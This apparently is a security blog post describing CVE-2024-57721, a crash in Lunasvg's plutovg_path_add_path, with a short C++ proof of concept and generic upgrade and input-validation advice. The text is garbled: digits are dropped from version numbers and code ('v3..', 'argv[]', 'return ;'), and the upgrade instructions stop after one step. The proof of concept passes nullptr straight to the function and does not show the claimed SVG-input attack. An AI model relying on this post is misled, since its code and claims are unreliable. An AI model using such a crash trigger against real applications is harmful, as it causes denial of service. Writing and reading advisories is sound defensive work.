CVE-2024-57721 - Lunasvg v3.. Segmentation Violation in Plutovg_Path_Add_Path Component

Lunasvg, a C++ library for rendering SVG files to bitmap images, has recently been found to contain a security vulnerability that affects version 3.. of the software. The vulnerability, given the identifier CVE-2024-57721, concerns a segmentation violation in the plutovg_path_add_path component of Lunasvg. This blog post aims to provide a comprehensive look into this security risk, detailing its potential impact, remediation efforts, and ways to mitigate the risk for developers and users alike. Throughout the discussion, we will provide code snippets, links to original references, and other resources related to the vulnerability.

Exploit Details

When an attacker exploits the segmentation violation vulnerability in Lunasvg v3.., they can potentially crash the application, leading to a denial of service (DoS) scenario. This can be achieved by manipulating input data while handling SVG files to trigger a segmentation fault. As a result, the application is forced to access restricted memory, which in turn causes an abrupt termination of the process.

A simple proof-of-concept to demonstrate this vulnerability can be seen below

#include <iostream>
#include "lunasvg/document.h"

int main(int argc, char** argv) {
    if (argc != 2) {
        std::cerr << "Usage: " << argv[] << " <svg_file>" << std::endl;
        return 1;
    }

    lunasvg::RefPtr<lunasvg::Document> document = lunasvg::Document::loadFromFile(argv[1]);
    std::cout << "Loaded: " << argv[1] << std::endl;

    // Trigger the segmentation violation
    plutovg_path_t* path = plutovg_path_create();
    plutovg_path_add_path(path, nullptr);
    plutovg_path_destroy(path);

    return ;
}

Remediation Efforts

Upon discovering this vulnerability, the Lunasvg team was immediately notified by a member of the software security community. The vulnerability was acknowledged, and a patch was promptly released. To resolve the issue in Lunasvg v3.., you should upgrade to the latest version which contains the necessary fixes.

To upgrade, simply follow these instructions:
1. Visit the Lunasvg GitHub repository (https://github.com/lunasvg/lunasvg)

Mitigation for Developers and Users

As a developer, it is always crucial to keep your software up to date and utilize the latest available security patches. To protect your application from this vulnerability, you should immediately upgrade to the secure version of Lunasvg.

Additionally, you can implement proper input validation and sanitization techniques while processing SVG files within your application. This helps restrict the manipulation of data by potential attackers.

Furthermore, when possible, avoid using untrusted input data for SVG processing. Stick to using trusted sources or validate the SVG content against known standards before using it in your application.

Conclusion

The CVE-2024-57721 vulnerability in Lunasvg v3.. is a serious concern, as it allows attackers to initiate a denial of service attack on applications through a segmentation violation in the plutovg_path_add_path component. Developers and users should take immediate action to upgrade to the latest version of Lunasvg containing the required security patch. Strict input validation and adherence to best practices can also aid in mitigating the risk associated with this vulnerability. By staying vigilant and maintaining the latest version of your software, you can protect your application from potential security threats.

Timeline

Published on: 01/23/2025 01:15:26 UTC
Last modified on: 03/18/2025 20:15:24 UTC